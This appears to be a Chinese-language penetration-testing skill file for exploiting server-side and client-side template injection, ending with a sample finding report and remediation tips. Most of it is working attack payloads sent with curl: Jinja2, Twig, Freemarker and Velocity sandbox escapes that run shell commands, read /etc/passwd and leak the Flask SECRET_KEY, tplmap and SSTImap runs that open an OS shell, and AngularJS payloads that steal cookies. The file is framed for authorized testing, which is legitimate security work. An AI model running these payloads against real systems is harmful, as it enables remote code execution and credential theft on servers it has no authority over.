| name | exploiting-template-injection-vulnerabilities |
| description | 检测并利用 Jinja2、Twig、Freemarker 等模板引擎中的服务器端模板注入(SSTI)漏洞,实现远程代码执行。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","ssti","template-injection","rce","web-security","owasp"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
利用模板注入漏洞(Exploiting Template Injection Vulnerabilities)
适用场景
- 在授权渗透测试中,当用户输入通过服务器端模板引擎渲染时
- 测试包含用户提供数据的错误页面、电子邮件模板、PDF 生成器或报告生成器时
- 评估允许用户自定义模板或通知消息的应用程序时
- 在参数中识别潜在 SSTI 时(例如
{{7*7}} 返回 49)
- 对 CMS 平台、营销工具或任何具有模板功能的应用程序进行安全评估时
前置条件
- 授权:包含 RCE 测试范围的书面渗透测试协议
- Burp Suite Professional:用于拦截和修改模板参数
- tplmap:自动化 SSTI 利用工具(
git clone https://github.com/epinna/tplmap.git)
- SSTImap:现代 SSTI 扫描器(
pip install sstimap)
- curl:用于手动 SSTI 载荷测试
- 模板引擎知识:Jinja2、Twig、Freemarker、Velocity、Mako、Pebble、ERB、Smarty
工作流程
步骤 1:识别模板注入点
查找用户输入被模板引擎处理的参数。
PAYLOADS=(
'{{7*7}}'
'${7*7}'
'#{7*7}'
'<%= 7*7 %>'
'{7*7}'
'{{= 7*7}}'
'${{7*7}}'
'#set($x=7*7)$x'
)
for payload in "${PAYLOADS[@]}"; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload -> "
curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done
步骤 2:识别模板引擎
确定使用的模板引擎类型,以选择合适的利用技术。
curl -s "https://target.example.com/page?name={{7*'7'}}"
curl -s "https://target.example.com/page?name={{config}}"
curl -s "https://target.example.com/page?name=\${.now}"
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
python3 tplmap.py -u "https://target.example.com/page?name=test"
步骤 3:利用 Jinja2(Python/Flask)
通过 Jinja2 模板注入实现代码执行。
curl -s "https://target.example.com/page?name={{config.items()}}"
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
步骤 4:利用 Twig(PHP)、Freemarker(Java)等引擎
针对不同引擎使用特定载荷进行利用。
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}"
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}"
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}"
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)"
curl -s "https://target.example.com/page?name={system('id')}"
curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>"
curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"
步骤 5:使用 tplmap 和 SSTImap 自动化测试
使用自动化工具进行全面测试和利用。
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell
python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id"
python3 tplmap.py -u "https://target.example.com/page?name=test" \
-H "Cookie: session=abc123" \
-H "Authorization: Bearer token" \
--os-cmd "whoami"
sstimap -u "https://target.example.com/page?name=test"
sstimap -u "https://target.example.com/page?name=test" --os-shell
python3 tplmap.py -u "https://target.example.com/page?name=test" \
--download "/etc/passwd" "/tmp/passwd"
步骤 6:测试客户端模板注入(CSTI)
评估 Angular/Vue/React 客户端模板中的表达式注入。
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"
curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"
curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"
curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"
for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \
'{{$on.constructor("alert(1)")()}}'; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload: "
curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"
done
核心概念
| 概念 | 定义 |
|---|
| SSTI | 服务器端模板注入(Server-Side Template Injection)——注入在服务器端执行的模板指令 |
| CSTI | 客户端模板注入(Client-Side Template Injection)——向 AngularJS/Vue 模板注入表达式(导致 XSS) |
| 模板引擎(Template Engine) | 处理包含占位符的模板文件并将其替换为数据的软件 |
| 沙箱逃逸(Sandbox Escape) | 绕过模板引擎安全限制以访问危险函数 |
| MRO(方法解析顺序) | Python 类层次结构遍历,在 Jinja2 利用中使用 |
| 对象自省(Object Introspection) | 使用 __class__、__subclasses__()、__globals__ 遍历 Python 对象 |
| 盲 SSTI(Blind SSTI) | 输出不直接可见的模板注入,需要带外技术 |
工具与系统
| 工具 | 用途 |
|---|
| tplmap | 支持操作系统 Shell 功能的自动化 SSTI 检测与利用工具 |
| SSTImap | 支持多种模板引擎的现代 SSTI 扫描器 |
| Burp Suite Professional | 请求拦截和使用 Intruder 进行载荷模糊测试 |
| Hackvertor(Burp 扩展) | 用于绕过技术的载荷编码和转换 |
| PayloadsAllTheThings | GitHub 上的综合 SSTI 载荷参考 |
| OWASP ZAP | 主动扫描模式下的自动化 SSTI 检测 |
常见场景
场景 1:Flask 电子邮件模板注入
Flask 应用程序允许用户自定义电子邮件通知模板。自定义模板通过 Jinja2 渲染且没有沙箱保护,允许通过 {{config.items()}} 和子类遍历实现 RCE。
场景 2:Java CMS Freemarker 注入
基于 Java 的 CMS 允许管理员使用 Freemarker 编辑页面模板。低权限编辑者注入 <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} 来执行命令。
场景 3:错误页面 SSTI
自定义 404 错误页面通过 Twig 模板反映请求的 URL 路径。请求 /{{['id']|filter('system')}} 导致服务器执行 id 命令。
场景 4:AngularJS 客户端注入
搜索页面使用带有 ng-bind-html 的 AngularJS 渲染结果。搜索 {{constructor.constructor('alert(document.cookie)')()}} 通过 AngularJS 表达式求值实现 XSS。
输出格式
## 模板注入发现报告
**漏洞**:服务器端模板注入(Jinja2)— RCE
**严重性**:严重(CVSS 9.8)
**位置**:GET /page?name=(name 参数)
**模板引擎**:Jinja2(Python 3.9 / Flask 2.3)
**OWASP 类别**:A03:2021 - 注入
### 复现步骤
1. 发送 GET /page?name={{7*7}} — 响应包含"49",确认 SSTI
2. 发送 GET /page?name={{config.SECRET_KEY}} — 返回 Flask 密钥
3. 发送 GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
4. 服务器返回:uid=33(www-data) gid=33(www-data)
### 已确认影响
- 以 www-data 用户身份实现远程代码执行
- 密钥泄露:Flask SECRET_KEY 已暴露
- 文件系统读取:/etc/passwd、应用程序源代码
- 潜在的内网横向移动
### 修复建议
1. 切勿将用户输入直接传递给模板渲染函数
2. 使用沙箱模板环境(Jinja2 SandboxedEnvironment)
3. 对模板变量实施严格的输入验证和白名单
4. 在可能的情况下使用无逻辑模板引擎(Mustache、Handlebars)
5. 为 Web 应用程序用户应用最小权限操作系统权限